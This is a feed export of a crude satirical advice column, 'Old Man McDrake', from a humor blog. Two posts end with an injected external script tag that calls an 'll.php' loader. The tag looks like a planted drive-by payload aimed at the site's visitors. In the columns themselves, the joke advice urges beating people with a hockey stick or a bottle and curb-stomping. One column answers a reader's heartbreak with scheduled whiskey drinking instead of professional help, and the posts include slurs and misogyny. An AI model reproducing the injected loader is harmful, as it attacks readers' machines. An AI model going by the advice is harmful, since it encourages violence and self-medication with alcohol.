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		<title>AOMM: Vegan in Virginia</title>
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		<pubDate>Sun, 17 Jan 2010 21:58:16 +0000</pubDate>
		<dc:creator>Old Man McDrake</dc:creator>
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		<description><![CDATA[Old Man McDrake, I am a recent convert to the vegan lifestyle, and people keep giving me crap. When I eat with family, they make fun of me. When I eat out in public, all the waiters and cooks look at me funny when I ask for vegan versions of my meals. What kind of [...]]]></description>
			<content:encoded><![CDATA[<p><div class="shortcode-show-avatar" style="float: right; margin-left: 10px;"><img alt='' src='http://0.gravatar.com/avatar/60fea9cbc5252572901b5731ea8b219b?s=96&amp;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&amp;r=G' class='avatar avatar-96 photo' height='96' width='96' /></div><strong>Old Man McDrake</strong>, I am a recent convert to the vegan lifestyle, and people keep giving me crap. When I eat with family, they make fun of me. When I eat out in public, all the waiters and cooks look at me funny when I ask for vegan versions of my meals. What kind of advice do you have to for me? Maybe something witty I could tell them?<br />
<strong>Vegan in Virginia</strong><span id="more-500"></span></p>
<p>Well Veggy, you don&#8217;t mind if I call you Veggy do you? It&#8217;s a lifestyle choice, the key word being &#8220;<strong>choice</strong>.&#8221; If you wanted to walk around town wearing tube socks below flip-flops, people would look at you funny; and you would have to decided, which is more important, what other people think, or how you want to dress. I too have dealt with unfavorable reactions towards my lifestyle choices, for example, I like to show up at work buzzed, and be drunk by eight am, and I drive an ice cream truck; but that&#8217;s my lifestyle choice, so I don&#8217;t complain, and I carry a baseball bat behind the ice cream machine, so other people don&#8217;t complain either. People treat you differently, because, get this, you act differently. If you can&#8217;t handle the ridicule, eat meat like a normal person. Man up or go home; but either way, don&#8217;t bitch about the way people treat you when you don&#8217;t conform to their expectations. </p>
<p>People used to give Mahatma Gandhi shit about being a vegetarian, but no one ever gave Hitler any shit about being a vegetarian, you know why? Because of the mustache.</p>
<p>As for something witty to say, how about: &#8220;Fuck your complete proteins, I ain&#8217;t scared of no Kwashiorkor.&#8221;<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Tyler calls out DrakeGTA</title>
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		<pubDate>Tue, 15 Dec 2009 17:35:38 +0000</pubDate>
		<dc:creator>Old Man McDrake</dc:creator>
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		<description><![CDATA[The following is a letter I received a while back regarding Darian Rake&#8217;s multiple posts on David Cross and my reply. I rarely reply to these type of letters, but I thought this one deserved special attention. Tyler wrote: I read the David Cross article, and I am going to have to ask you to [...]]]></description>
			<content:encoded><![CDATA[<p><div class="shortcode-show-avatar" style="float: right; margin-left: 10px;"><img alt='' src='http://0.gravatar.com/avatar/60fea9cbc5252572901b5731ea8b219b?s=96&amp;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&amp;r=G' class='avatar avatar-96 photo' height='96' width='96' /></div>The following is a letter I received a while back regarding <a href="http://drakegta.com/author/drakegta/">Darian Rake&#8217;s</a> <a href="http://drakegta.com/yup-david-cross-is-still-a-dipshit/">multiple posts</a> on <a href="http://drakegta.com/sure-larry-the-cable-guy-a-prick-but-david-cross-is-a-dipshit/">David Cross</a> and my reply. I rarely reply to these type of letters, but I thought this one deserved special attention.</p>
<blockquote><p>Tyler wrote:<br />
I read the David Cross article, and I am going to have to ask you to fire the writer. I am not going to sit here and nitpick the article, because I am not a dick and I basically stopped reading when the author cited Cross being most famous for Arrested Development. I stopped reading because I actually had to stop and think of who the hell you were referring to, then upon solving that mystery, I was angered by the fact that you had completely dismissed Mr.Show. I didn&#8217;t read the rest of the article, but I skimmed over it seeing a paragraph of attempted humor aimed at Larry the Cable Guy. Then I saw you cite webcomics as intellectual humor(Now here&#8217;s where I took offense, retard who wrote the article. You call out David Cross for his &#8220;faux-intellectual liberal&#8221; humor, and then turn around and cite WEBCOMICS). This right here proves that you have a author that doesn&#8217;t get out much besides what they manage to read on the internet. Another thing in the article is the author generalizes two populations of people, and then places himself above them. Does the author has aspergers?</p></blockquote>
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<p>Dearest Tyler;<br />
Thank you greatly for your feedback, you raised an interesting question. Does DrakeGTA have Asperger syndrome? To answer this question, I  asked the man himself. When I arrived at Drake&#8217;s house, he was dressed in a bloody shower curtain curled up in a fetal position on the floor, banging his head on the wall. I asked him what his problem was, he shrugged his shoulders and said &#8220;Meh, Tuesdays.&#8221; So in answer to that question, no, I don&#8217;t think Drake has Asperger&#8217;s syndrome, because Asperger&#8217;s is described as &#8220;high functioning autiusm&#8221; and if you&#8217;ve ever known Drake, you would agree, there is nothing about him that can be described has high functioning, or even functioning.</p>
<p>In response to the part about Drake not getting out much, what can I say? We&#8217;re not encouraging Drake to get out much, it&#8217;s really not safe for him out here; furthermore, it&#8217;s really safer for us that he&#8217;s in there. We&#8217;re talking about a guy who thought dropping acid involved a bottle of hydrochloric acid, and did it anyway. Last time Drake had a night out, I had to sell part of my vintage pornography collection to hire <a href="http://www.angryjerk.net/legal.php">AJ&#8217;s legal team</a> to &#8220;persuade&#8221; the district attorney to drop the case, and now we&#8217;re all banned from Chuck E. Cheese&#8217;s Pizza Time Theatre for life.</p>
<p>As for firing Drake, na; it seems to me that your major complaint is that you read the post to imply that Drake thinks that he&#8217;s both better than &#8220;faux-intellectual liberals&#8221; and Larry The Cable Guy fans. He never mentioned anything about being better than Larry The Cable Guy fans, just being better than faux-intellectual liberals; and you know what, even if he&#8217;s a mentally unstable violent registered offerner, he is better than faux-intellectual liberals who are too good to appreciate webcomics.</p>
<p>Sincerely,<br />
Old Man McDrake.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>AOMM: I&#8217;m down with OPP (Old People Problems)</title>
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		<pubDate>Mon, 26 Oct 2009 05:21:26 +0000</pubDate>
		<dc:creator>Old Man McDrake</dc:creator>
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		<description><![CDATA[Mr. McDrake, I have a problem, my parents are advancing in age, and it&#8217;s about time to put them in a home. Now, my husband and I don&#8217;t have a lot of money, and can&#8217;t afford such things. I tell my husband that we should just wait for the evadable to happen, and when one [...]]]></description>
			<content:encoded><![CDATA[<p><div class="shortcode-show-avatar" style="float: right; margin-left: 10px;"><img alt='' src='http://0.gravatar.com/avatar/60fea9cbc5252572901b5731ea8b219b?s=96&amp;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&amp;r=G' class='avatar avatar-96 photo' height='96' width='96' /></div><strong>Mr. McDrake</strong>, I have a problem, my parents are advancing in age, and it&#8217;s about time to put them in a home. Now, my husband and I don&#8217;t have a lot of money, and can&#8217;t afford such things. I tell my husband that we should just wait for the evadable to happen, and when one of them gets hurt, adult protective services will step in and help. My husband says that isn&#8217;t right, he says my parents raised me, and I owe it to them.<br />
<strong>Broke in Brooklyn</strong><span id="more-419"></span></p>
<p><strong>Dear Broke in Brooklyn</strong>, that isn&#8217;t the way it works. I don&#8217;t know your parents, but I&#8217;m assuming they put your ass through school, and wiped your ass when you were a baby, it&#8217;s not right. Your parents deserve only the best&#8230; that India has to offer. No one can afford an American nursing home, so outsource the care of your parents to India. You know those commercials that say: &#8220;<em>10 cents a day can feed a starving child in Africa</em>&#8221; fuck that, starving kids in Africa can get a job, but 10 cents a day can feed a starving parent in India. Outsource that shit, your mom and pops can get their own private wing at an Indian nursing home for like $60 a month.</p>
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		<title>WWOMMDD?: Vengeful in Vancouver</title>
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		<pubDate>Tue, 22 Sep 2009 05:01:15 +0000</pubDate>
		<dc:creator>Old Man McDrake</dc:creator>
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		<description><![CDATA[Old Man McDrake, you won&#8217;t believe this shit. I&#8217;m forty-two right, and this forty-eight year-old guy I was dating moved in with me, everything was good for aboot a year. Aboot two months ago, he told me he was leaving me for a younger woman, that was upsetting enough, until I find out that this [...]]]></description>
			<content:encoded><![CDATA[<p><div class="shortcode-show-avatar" style="float: right; margin-left: 10px;"><img alt='' src='http://0.gravatar.com/avatar/60fea9cbc5252572901b5731ea8b219b?s=96&amp;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&amp;r=G' class='avatar avatar-96 photo' height='96' width='96' /></div><strong>Old Man McDrake, you won&#8217;t believe this shit.</strong> I&#8217;m forty-two right, and this forty-eight year-old guy I was dating moved in with me, everything was good for <em>aboot</em> a year. <em>Aboot</em> two months ago, he told me he was leaving me for a younger woman, that was upsetting enough, until I find out that this younger woman is my eighteen year-old daughter, who has recently moved out of my house, and moved in with him. Wait, wait, it gets better, she moved into a flat with him; but she didn&#8217;t take her husband and two kids, who all still live with me. I thought maybe this was a joke, or it would only last a couple of weeks, but it been two months, and my daughter still sends me texts about the great sex she&#8217;s having with my boyfriend. What the fuck? <strong>I mean seriously McDrake, what the hell would you do? I&#8217;m thinking <em>aboot</em> taking a hockey stick to the whole lot of them.</strong></p>
<p>Vengeful in Vancouver<span id="more-359"></span></p>
<p><strong>Damn, Vengeful, I didn&#8217;t know they had trailer parks in Canada.</strong> <em>*Burn*</em> Well, first off, <strong>don&#8217;t over react</strong>, this could work out well for you; the first thing I would do, is talk to Jerry Springer, and see if maybe you can make some money off this mess. Seriously, email him at <a href="mailto:jerry.fan@nbcuni.com">jerry.fan@nbcuni.com</a>, I think he&#8217;d like to hear from you. The most amazing thing, this woman, left her husband and kids, and ran off with your boyfriend? What kind cunt does that? I don&#8217;t even know where to start here.</p>
<p>Well, to repair you relationship with your daughter- <em>no wait, that won&#8217;t work.</em></p>
<p>Well if the husband is a nice guy then- <em>no, that won&#8217;t work either.</em></p>
<p>I guess if the jerk ran off with your daughter- <em>no, that&#8217;s no right.</em></p>
<p>If she&#8217;s still sending you texts she&#8217;s just doing to get attentio- <em>no, it&#8217;s beyond that.</em></p>
<p>You know what, <strong>you win, break out with the hockey stick and go all Wayne Gretzky on their asses</strong>, they all have it coming. No better yet, fuck Wayne Gretzky, <strong>go all Casey Jones on them, old school Ninja Turtles style.</strong><div id="attachment_360" class="wp-caption aligncenter" style="width: 185px"><img src="http://drakegta.com/wp-content/uploads/2009/09/casey-jones.jpg" alt="Casey Jones is about to &#039;Play Ball&#039; with your Skull." width="175" height="175" class="size-full wp-image-360" /><p class="wp-caption-text">Casey Jones is about to 'Play Ball' with your Skull.</p></div></p>
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		<title>WWOMMDD?: Waffleless in Carlsbad</title>
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		<pubDate>Mon, 17 Aug 2009 06:52:13 +0000</pubDate>
		<dc:creator>Old Man McDrake</dc:creator>
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		<description><![CDATA[Mr. McDrake, I had an interesting experience, on a recent trip to Carlsbad Caverns, something happened in the hotel. I got up early, and ran down to get the free continental breakfast, and I lined up to get a waffle, because frankly, waffles are the shit. I started a waffle cooking, and before it finished, [...]]]></description>
			<content:encoded><![CDATA[<p><div class="shortcode-show-avatar" style="float: right; margin-left: 10px;"><img alt='' src='http://0.gravatar.com/avatar/60fea9cbc5252572901b5731ea8b219b?s=96&amp;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&amp;r=G' class='avatar avatar-96 photo' height='96' width='96' /></div><strong>Mr. McDrake</strong>, I had an interesting experience, on a <a href="http://drakegta.com/the-most-interesting-thing-about-carlsbad-caverns/">recent trip to Carlsbad Caverns</a>, something happened in the hotel. I got up early, and ran down to get the free continental breakfast, and I lined up to get a waffle, because frankly, waffles are the shit. I started a waffle cooking, and before it finished, my five-year-old kid took off running out of the room (the way five-year-olds are known to do.) I chase her down, and by the time I come back, some asshole hipster with a &#8220;<strong>Bullet for My Valentine</strong>&#8221; tee-shirt is guarding my waffle and has decided it&#8217;s his. So I wait, being the nice guy that I am, and when my waffle finishes, he puts it on a plate for himself, and starts cooking another, also for himself. Him and his hipster girlfriend (in a <strong>Ramones shirt</strong>) eat about four waffles a piece, guarding the waffle maker so no one else can get any, and then cook about six more waffles that they take with them when they leave. Long story short, I didn&#8217;t get a waffle, and <strong>I left pissed off and hungry</strong>. What would you have done?<br />
<strong>Darrian rake</strong><span id="more-306"></span></p>
<p>Darrian rake, well, since shithead hipster obviously loves waffles so much, you should have made a waffle for him, <strong>out of his face</strong>. I&#8217;m not talking about holding his head in the waffle maker, that&#8217;s non-sense. I mean, you should have waited outside, and used your ass stompin&#8217; boots (<strong>you do own a pair of ass stompin&#8217; boots right?</strong>) to leave a waffle like pattern on his forehead. Second off, while you&#8217;re curb stompin&#8217; Mr. &#8220;Bullet for my emo kid&#8221; his girlfriend in the Ramones shirt, (she obviously has the better taste in music,) would appreciate your awesome display of manliness, and the welcome change of seeing a man who doesn&#8217;t have a bigger pussy than she does, so you and her could run off and do the &#8220;<a href="http://www.youtube.com/watch?v=htR14DZ-O-4">Blitzkrieg Bop</a>&#8221; back in the room, while his sissy ass is &#8220;<a href="http://www.youtube.com/watch?v=Zi-e5XXRs6I">Suffocating Under Words of Sorrow.</a>&#8221;</p>
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		<title>WYHT?: Lady Gaga</title>
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		<pubDate>Thu, 30 Jul 2009 23:04:47 +0000</pubDate>
		<dc:creator>Old Man McDrake</dc:creator>
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		<description><![CDATA[Old Man Mc Drake, let me ask your professional opinion: Lady Gaga, Would You Hit That? I mean, I think she&#8217;s pretty fine looking myself, but I wanted a professional opinion. Wondering in Washington Dear Wondering: I had to think about this, and do some basic research, and the answer I came up with was [...]]]></description>
			<content:encoded><![CDATA[<p><div class="shortcode-show-avatar" style="float: right; margin-left: 10px;"><img alt='' src='http://0.gravatar.com/avatar/60fea9cbc5252572901b5731ea8b219b?s=96&amp;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&amp;r=G' class='avatar avatar-96 photo' height='96' width='96' /></div>Old Man Mc Drake, let me ask your professional opinion: <strong>Lady Gaga, Would You Hit That?</strong> I mean, I think she&#8217;s pretty fine looking myself, but I wanted a professional opinion.<br />
Wondering in Washington<br /><BR><Br><span id="more-278"></span></p>
<p><div id="attachment_279" class="wp-caption alignleft" style="width: 310px"><img src="http://drakegta.com/wp-content/uploads/2009/07/lady-gaga-onfire-300x256.jpg" alt="Lada Gaga's Titties On Fire!" width="300" height="256" class="size-medium wp-image-279" /><p class="wp-caption-text">Lada Gaga's Titties On Fire!</p></div><strong>Dear Wondering</strong>: I had to think about this, and do some basic research, and the answer I came up with was this: <em><u><strong>NO</strong></u></em>. As far as I can tell, Lada Gaga is some form of bizarre space alien, she and <acronym title="I move away from the mic to breath in">Tay Zonday</acronym> came to Earth on some soft of <a href="http://www.youtube.com/watch?v=GiWQZhUmmRw">penis shaped rocket ship</a>, with a whole cache of bizarre alien social diseases. <em>These two both need to go back to Section 9</em>. I mean, don&#8217;t get me wrong, I&#8217;m all for banging a chick with wild hair and leather, but I&#8217;m worried as soon as I try to motorboat her, those space titties are going to catch on fire and burn my face off. No, if I learned anything from E.T., it&#8217;s that, you shouldn&#8217;t go near an alien unless you have a biohazard suit on. Well, wait a minute, actually, that sounds kind of kinky.</p>
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		<title>WWOMMDD?: Not So Placid Lake House</title>
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		<pubDate>Thu, 30 Jul 2009 22:39:32 +0000</pubDate>
		<dc:creator>Old Man McDrake</dc:creator>
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		<description><![CDATA[Mr. McDrake, I have a problem. A friend of mine keeps insisting we go vacation with him in his lake house. The problem is his lake house is a collapsing dilapidated run down shack next to a part of the lake that&#8217;s infested with bugs. The truth is, it&#8217;s a miserable place, and a vacation [...]]]></description>
			<content:encoded><![CDATA[<p><div class="shortcode-show-avatar" style="float: right; margin-left: 10px;"><img alt='' src='http://0.gravatar.com/avatar/60fea9cbc5252572901b5731ea8b219b?s=96&amp;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&amp;r=G' class='avatar avatar-96 photo' height='96' width='96' /></div><strong>Mr. McDrake, I have a problem</strong>. A friend of mine keeps insisting we go vacation with him in his lake house. The problem is his lake house is a collapsing dilapidated run down shack next to a part of the lake that&#8217;s infested with bugs. The truth is, it&#8217;s a miserable place, and a vacation spent here would actually be a nightmare. I don&#8217;t want to offend this guy, <strong>What Would Old Man McDrake Do (while) Drunk</strong>?<br />
Troubled in Texarkana.<span id="more-273"></span></p>
<p><strong>Mr. Troubled</strong>, you&#8217;re not only risking fucking up a friendship, you&#8217;re missing out. Here&#8217;s what I would do: go out on the lake and have a good time. If your friend&#8217;s vacation home isn&#8217;t good enough for your family, leave them the hell at home, take a vacation without them, you&#8217;ll probably have more fun anyway. Let me provide you with the basic program&#8230; <strong>Don&#8217;t be a sissy.</strong> &#8220;<em>Boo hoo hoo, my friend&#8217;s house isn&#8217;t the fucking Hilton</em>.&#8221; Light up some cheap cigars to smoke the bugs out, and do what you&#8217;re supposed to do at a lake house&#8230;</p>
<p><code><strong>10</strong> drink yourself senseless<br />
<strong>20 </strong>pass out<br />
<strong>30</strong> wake up and go out on the lake<br />
<strong>40</strong> drink while you fish<br />
<strong>50</strong> maybe you catch something, maybe not<br />
<strong>60</strong> come back home<br />
<strong>70</strong> drink yourself senseless<br />
<strong>80</strong> goto 20</code></p>
<p>Remember the first rule of vacations: &#8220;<strong>If you&#8217;re not enjoying yourself, you&#8217;re not drinking enough.</strong>&#8221;<br />
Also remember the second rule of vacations: &#8220;<strong>You can vacate at home, every night.</strong>&#8221;</p>
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		<title>AOMM: Alone in Alabama</title>
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		<pubDate>Sat, 11 Jul 2009 06:47:20 +0000</pubDate>
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		<description><![CDATA[Mr. McDrake, the most important relationship in my life, with the most amazing woman I have ever met has recently ended. I don&#8217;t know what I should do, all my friends tell me that &#8220;there are plenty of other fish in the sea,&#8221; and I should &#8220;just get the fuck over it,&#8221; but I find [...]]]></description>
			<content:encoded><![CDATA[<p><div class="shortcode-show-avatar" style="float: right; margin-left: 10px;"><img alt='' src='http://0.gravatar.com/avatar/60fea9cbc5252572901b5731ea8b219b?s=96&amp;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&amp;r=G' class='avatar avatar-96 photo' height='96' width='96' /></div><strong>Mr. McDrake</strong>, the most important relationship in my life, with the most amazing woman I have ever met has recently ended. I don&#8217;t know what I should do, all my friends tell me that &#8220;<strong>there are plenty of other fish in the sea</strong>,&#8221; and I should &#8220;<strong>just get the fuck over it</strong>,&#8221; but I find myself alone and hurting. I know it does me no good to dwell on it, but I can&#8217;t get over her. I think about her all the time, and everything reminds me of her. I am not some crybaby emo kid, I am just seriously hurting here, some people are suggesting I see a professional, what should I do?  – <strong>Alone in Alabama</strong><span id="more-260"></span></p>
<p><strong>Hey Alone in Alabama</strong>, I never said you were a crybaby emo kid. I realize that emotional pain is very real, and is in fact, every-bit as real as physical pain, which is in fact, not real at all, considering that pain only exists in the mind. Anyway, don&#8217;t think that emotional pain isn&#8217;t serious, it can be a full blown emergency, in which case you can <strong>call whine-one-one and ask for a wahmbulance.</strong></p>
<p>Na, I&#8217;m just fucking with you, I&#8217;m not Chopper Read here to tell you to &#8220;<a href="http://www.youtube.com/watch?v=unkIVvjZc9Y">Harden To Fuck Up</a>.&#8221; I&#8217;m also not going to post that photo of the crying kitten that says &#8220;QQ emo boy.&#8221; Look, <strong>I am a scientist at heart, and I think your problem can be solved using some basic chemistry. </strong></p>
<p>Twice daily, once in the morning upon waking, and again about lunch time, (or later if you sleep late,) take out a sheet of paper, and write, on a scale of zero to ten, how much pain you are in, zero being no pain at all, and ten being the worst pain you&#8217;ve ever felt in your life. Now take the number you have, and that&#8217;s your number for the morning or your number for the afternoon. Do not attempt to leave the house in the morning, until you have had your number, in alcoholic drinks, then again at lunch, do not return to work until you have reached your number.</p>
<p>What kind of drink you ask? Well, don&#8217;t be a sissy, you said you weren&#8217;t some emo kid, so don&#8217;t try that &#8220;<a href="http://stereogum.com/archives/marilyn-mansons-666-proof-absinthe_006429.html">I only drink Absinthe</a>&#8221; or &#8220;I prefer <a href="http://www.reddit.com/r/AskReddit/comments/8lsgl/pabst_blue_ribbon_delicious_vegan_6_for_12_proof/">Pabst Blue Ribbon</a>&#8221; shit on me. I&#8217;d suggest you get a bottle of rot-gut whiskey, something along the lines of Evan-Williams, Ten High, or Lord Calvert, and get the big bottle, you save money when you buy in bulk.</p>
<p><div id="attachment_261" class="wp-caption alignleft" style="width: 310px"><img src="http://drakegta.com/wp-content/uploads/2009/07/c96d01c40d5d24c7c48af41a8cfbe33c-300x210.jpg" alt="Go Cry Emo Kid" width="300" height="210" class="size-medium wp-image-261" /><p class="wp-caption-text">Technically, it says 'Go Cry Emo Kid' not 'QQ Emo Boy'.</p></div>Now, I said I was a scientist at heart, and here&#8217;s the only chemical formula you will ever need to know in your life: <strong>Take one 12 oz glass, and fill with, One part Whiskey: Two parts Coke.</strong> (That&#8217;s 8oz of Coke and 4oz of whiskey for anyone keeping score) [That's 120ml of Whiskey and 240ml of Coke for anyone keeping score using the metric system.]</p>
<p>You&#8217;ll feel better in no time. Now if your friends still say you need professional help, tell them you contacted a professional and he gave your a prescription, because <strong>I&#8217;m a professional</strong> (drinker,) and I&#8217;m pre-scripting you to go for it.</p>
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		<title>AOMM: Embarrassed in Essex</title>
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		<pubDate>Fri, 03 Jul 2009 21:53:18 +0000</pubDate>
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		<description><![CDATA[Dearest McDrake, I have a slight problem. I have been dating this blond bird for several months and we have recently moved into the same flat. She is smokin hot right, but she never dresses as she should. Last week, we were supposed to meet my parents for the first time, but she insisted on [...]]]></description>
			<content:encoded><![CDATA[<p><div class="shortcode-show-avatar" style="float: right; margin-left: 10px;"><img alt='' src='http://0.gravatar.com/avatar/60fea9cbc5252572901b5731ea8b219b?s=96&amp;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&amp;r=G' class='avatar avatar-96 photo' height='96' width='96' /></div><strong>Dearest McDrake</strong>, I have a slight problem. I have been dating this blond bird for several months and we have recently moved into the same flat. She is smokin hot right, but she never dresses as she should. Last week, we were supposed to meet my parents for the first time, but she insisted on wearing a spaghetti strap top with no bra and a short skirt with no underwear. I told her this wasn&#8217;t appropriate attire to wear when meeting my parents, this started a fight, and we ended up not going. I don&#8217;t know what to do, she dresses like this everywhere she goes. &#8211; <strong>Embarrassed in Essex</strong><span id="more-249"></span></p>
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	<img src="http://drakegta.com/wp-content/uploads/2009/07/essexgirl-217x300.jpg" alt="According to Google, this is an Essex Girl, No, I don&#039;t feel sorry for that guy either." width="217" height="300" />
	<div>essexgirl</div>
</div><p class="wp-caption-text">According to Google, this is an Essex Girl, No, I don't feel sorry for that guy either.</p></div>Embarrassed in Essex, first off, my name is Old Man McDrake, I&#8217;m not a deer, I&#8217;m your dear, and I&#8217;m sure not hell not your dearest uncle McDrake. I&#8217;ll have you know that I&#8217;ve been hittin&#8217; skins like a drummer at a speed metal concert since before you were even born; so in that respect, I might very well be your daddy, but I sure the hell ain&#8217;t your uncle. You can call me Mr. McDrake from now on, I&#8217;ll let it slide this time, but next time, <strong>I may just fly down to Essex and share a bottle of scotch with you. (By share, I mean, I drink it while you watch, and then I bludgeon you with the bottle.)</strong> I&#8217;ve shared scotch with many a great men in my day.</p>
<p>Second off, what is your major malfunction? You have a smoking hot girlfriend who wants to walk around all day with her stuff hanging out for you; and you see this as a problem why? I mean, maybe I&#8217;m getting my stereotypes wrong, but isn&#8217;t this the uniform of <a href="http://en.wikipedia.org/wiki/Essex_girl">Essex girls</a>? <strong>When a girl turns thirteen in Essex, they give her a tube top, short shorts, and a health card.</strong></p>
<p>I don&#8217;t think the problem here is with your girl, but with your understanding. See, young men, such as yourself, never seem to understand, <strong>there are many types of women in the world, and most of them are good for country matters, but very few of them are the type you bring home to mother.</strong> No, just enjoy your little Essex Sex Kitten while you can, and don&#8217;t worry about what other people think, because remember, you&#8217;re banging a hot chick, and they aren&#8217;t.</p>
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		<pubDate>Fri, 03 Jul 2009 20:53:22 +0000</pubDate>
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		<description><![CDATA[You know what we&#8217;ve been missing here at drakegta.com? Talent, well, talent, and an advice columnist. So in order to fill this gap, we have recruited the most sought after advise columnist on the face of the earth, a man sought after by authorities in twenty-eight states and four municipalities, Old Man McDrake. Old Man [...]]]></description>
			<content:encoded><![CDATA[<p><div class="shortcode-show-avatar" style="float: right; margin-left: 10px;"><img alt='' src='http://0.gravatar.com/avatar/60fea9cbc5252572901b5731ea8b219b?s=96&amp;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&amp;r=G' class='avatar avatar-96 photo' height='96' width='96' /></div>You know what we&#8217;ve been missing here at drakegta.com? Talent, well, talent, and an advice columnist. So in order to fill this gap, we have recruited the most sought after advise columnist on the face of the earth, a man sought after by authorities in twenty-eight states and four municipalities, Old Man McDrake. Old Man McDrake is a wise and wizened old man, full of wisdom. <strong>Because we realize that the vast majority of people are mindless sheep, who can&#8217;t make decisions for themselves, we now offer that service for you.</strong></p>
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